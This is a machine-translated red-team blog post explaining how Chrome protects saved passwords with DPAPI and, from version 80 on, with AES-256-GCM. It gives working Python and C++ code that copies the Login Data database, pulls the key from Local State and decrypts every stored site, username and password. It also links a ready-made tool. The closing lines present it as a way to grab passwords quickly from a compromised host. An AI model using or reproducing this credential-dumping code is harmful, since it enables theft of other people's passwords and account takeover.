当前位置:网站首页>Capture passwords of all chrome versions

Capture passwords of all chrome versions

2022-06-23 02:30:00 Red team and blue team

The article was written by team members , The first prophet community :https://xz.aliyun.com/t/9752

Tools uploaded to github:https://github.com/SD-XD/Catch-Browser

How Google browser stores passwords

When using Google browser , If we enter the account and password of a website , He will automatically ask us if we want to save the password , In order to automatically fill in the account and password when logging in next time

1.png

The login account and password can be found in the settings

2.png

You can also directly look at the password , But you need proof

3.png

This is actually windows Of DPAPI Mechanism

DPAPI

Data Protection Application Programming Interface( Data protection API)

DPAPI yes Windows An interface for encrypting and decrypting data at the system level. It does not need to implement the encryption and decryption code by itself. Microsoft has provided a verified high-quality encryption and decryption algorithm and a user state interface. The derivation of the key, the encryption and decryption of the stored data are transparent and provide a high security guarantee

DPAPI Two user mode interfaces are provided CryptProtectData Encrypt data CryptUnprotectData The application program is responsible for the secure storage of the encrypted data without parsing the encrypted data format . But the encrypted data storage needs a certain mechanism, because the data can be decrypted by any other process, of course CryptProtectData It also provides parameters for users to input additional data to participate in encrypting user data, but it still cannot be used for brute force cracking .

Microsoft provides two interfaces for encryption and decryption ,CryptProtectMemory and CryptUnprotectMemory

actually , In the old version (80 Before ) Google browser , Just used CryptProtectMemory To encrypt the password

80 pre-release Chrome

Experimental environment

  • win7
  • Chrome edition 79.0.3945.117

Experimental process

chrome Your password is encrypted and stored in

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

If you use a binary text editor to view the transformation, you will find that it is actually a sqlite Database files

4.png

You can use tools SQLiteStudio Open him up

double-click logins

5.png

choice data

6.png

You can see that there are user names and web addresses , But no password

But the binary of the password actually has value

7.png

Write a script to decrypt

python Decryption is the most concise , Here is the code of a three good student

from os import getenv
import sqlite3
import win32crypt
import binascii
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    if password:
        print 'Site: ' + result[0]
        print 'Username: ' + result[1]
        print 'Password: ' + password
    else:
        print "no password found"

But I still want to c++ Write a

Before writing , Need configuration sqlite3 Environmental Science , And download <sqlite3.h> and <sqlite3.c> file

If the current user is using Google , Can't open the database , So we can make a copy and operate

8.png

Re pass sql Statement lookup logins surface

9.png

Decrypt... In callback function

10.png

Look at the effect , Solve the password perfectly

11.png

It's the same as what you see on Google browser , There is no need to verify the user password

12.png

80 After version Chrome

that 80.x After that Chrome How to decrypt

Experimental environment

  • win10
  • Chrome edition 91.0.4472.101( The latest version )

experimental analysis

Let's take a look at the previous version Chrome What's the difference between storage methods

13.png
14.png

Determine whether it is a new version Chrome Encryption is actually to see if there is... In front of the encrypted value v10 perhaps v11

Look at the official documents , Analyze the new encryption algorithm

key The initialization

https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc;l=192;drc=f59fc2f1cf0efae49ea96f9070bead4991f53fea

15.png
16.png

notes : Try from local state Extract the key .

And you can see kDPAPIKeyPrefix It's actually a string "DPAPI"

17.png

And then there's going to be DPAPI The disclosure of the , Finally, if key be not in local state Medium or DPAPI Decryption failed , Just regenerate one key

From here we can roughly analyze key Action during initialization :

  1. from local state Extract in file key
  2. base64 Decrypt key
  3. Remove key At the beginning “DPAPI”
  4. DPAPI Decrypt , To get the final key

To follow up GetString The parameters of the function kOsCryptEncryptedKeyPrefName

18.png

know key Store in local state file os_crypt.encrypted_key Field , namely

19.png

and local state The file is in the local default directory :

%LocalAppData%\Google\Chrome\User Data\Local State

Local State It's a JSON File format

Plaintext encryption

Look at the source notes

20.png

After the key is encrypted, the data prefix is “v10”

21.png

Key and NONCE/IV The lengths of are :32 Byte and 12 byte

22.png

Here's an explanation NONCE/IV What is it? :

If we don't want the same plaintext, the ciphertext encrypted by the key is the same ( In this way, it is easy for the attacker to know that the plaintext of the two ciphertexts is the same ) The solution is to use IV( Initial vector ) or nonce( Use values only once ). Because for every encrypted message , We can all use different byte character string . They are the origin of uncertain theory , And this theory requires making indistinguishable copies . The news is usually not a secret , But in order to decrypt, we need , We will encrypt them at the time of distribution . IV And nonce The difference is controversial , But it's not irrelevant . Different encryption schemes have different protection emphases : Some schemes only need ciphertext without repetition , This situation is usually called nonce; There are other schemes that require the ciphertext to be random , Even completely unpredictable , This situation is usually called IV. This is actually the hope that even if the plaintext is the same , The encrypted ciphertext is also different .

Turn it down again , In fact, you can see the decryption function

23.png

encrypted_value The prefix of v10 after 12 Bytes of NONCE(IV), Then the real ciphertext .Chrome It uses AES-256-GCM Of AEAD Symmetric encryption 、

Then the idea is clear , Here I draw a graph to summarize the algorithm

24.png

Realize automatic password capture

Decryption uses a very powerful library ,cryptopp

First get the original key

string GetOriginalkey()
{
    string Decoded = "";
    // obtain Local State Decrypted in key
    string key = "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADWXmStECIlTZZxWMAYf5UmAAAAAAIAAAAAABBmAAAAAQAAIAAAAP8V1h3J1qhEf8/h13hre+e3EMW0oD41Ux7UrEqls4DoAAAAAA6AAAAAAgAAIAAAAA7xXGgN1Hks1TbInimvYa0TnMfPa0jPpmlI9BDiUQAAMAAAAPzO7wya37iu97rDB4UTtn5QwQcuJkw2E3cw/tHuSnHdNv4qwXMWLC2oU3TkysoXmUAAAAAtPkLwNaInulyoGNH4GDxlwbzAW4DP7T8XWsZ/2QB0YrcLqxSNytHlV1qvVyO8D20Eu7jKqD/bMW2MzwEa40iF";
    StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(Decoded)));
    key = Decoded;
    key = key.substr(5);// Remove the first 5 Characters DPAPI
    Decoded.clear();//DPAPI Decrypt 
    int i;
    char result[1000] = "";
    DATA_BLOB DataOut = { 0 };
    DATA_BLOB DataVerify = { 0 };
    DataOut.pbData = (BYTE*)key.c_str();
    DataOut.cbData = 1000;
    if (!CryptUnprotectData(&DataOut, nullptr, NULL, NULL, NULL, 0, &DataVerify)) {
        printf("[!] Decryption failure: %d\n", GetLastError());
    }
    else {
        printf("[+] Decryption successfully!\n");
        for (i = 0; i < DataVerify.cbData; i++)
        {
            result[i] = DataVerify.pbData[i];
        }
    }
    return result;
}

If at present chrome The version is not 80+, You can make a simple judgment : It's just to see if there's any before encrypting the password ”v10“ perhaps ”v11“

string e_str = argv[2];
// Determine whether the ciphertext contains v10 or v11, If so, it means 80+ Of Chrome, With a new decryption method 
if (strstr(e_str.c_str(), "v10") != NULL || strstr(e_str.c_str(), "v11") != NULL)
{
    NewDecrypt(argc, argv, azColName);
}
else {
    DecryptoByDPAPI(argv, azColName);
}
return 0;

Then decrypt the ciphertext

obtain iv And ciphertext

//argv[2] yes password_value Value 
chiper = argv[2];
iv = argv[2];
iv = iv.substr(3, 15);  // obtain iv Value 
chiper = chiper.substr(15);   // The value of the encryption password 

Reuse cyptopp Powerful library functions for decryption

// obtain iv hex Encoding value 
StringSource((BYTE*)iv.c_str(), iv.size(), true, new HexEncoder(new StringSink(Encoded)));
iv = Encoded;
Encoded.clear();
iv = iv.substr(0, iv.size() - 6);
CHAR Pass_Word[1000] = { 0 };
StringSource((BYTE*)iv.c_str(), iv.size(), true,new HexDecoder(new StringSink(Decoded))); 
iv = Decoded;
Decoded.clear();
char* key = GetOriginalkey();
d.SetKeyWithIV((BYTE*)key, 32, (BYTE*)iv.c_str(), iv.size());

StringSource(chiper, true,new AuthenticatedDecryptionFilter(d,new StringSink(password)));
for (int i = 0; i < password.size(); i++)
{
    Pass_Word[i] = password[i];
}
printf("%s = %s\n", azColName[0], argv[0] ? argv[0] : "NULL");
printf("%s = %s\n", azColName[1], argv[1] ? argv[1] : "NULL");
printf("%s = %s\n", azColName[2], Pass_Word);

For the logic here, refer to the above analysis steps , No more details here

Finally, let's see the decryption effect

25.png
26.png

Postscript

If you get a host in actual combat , And installed with chrome, We can grab the password so that we can read it quickly and accurately .

原网站

版权声明
本文为[Red team and blue team]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202061158352853.html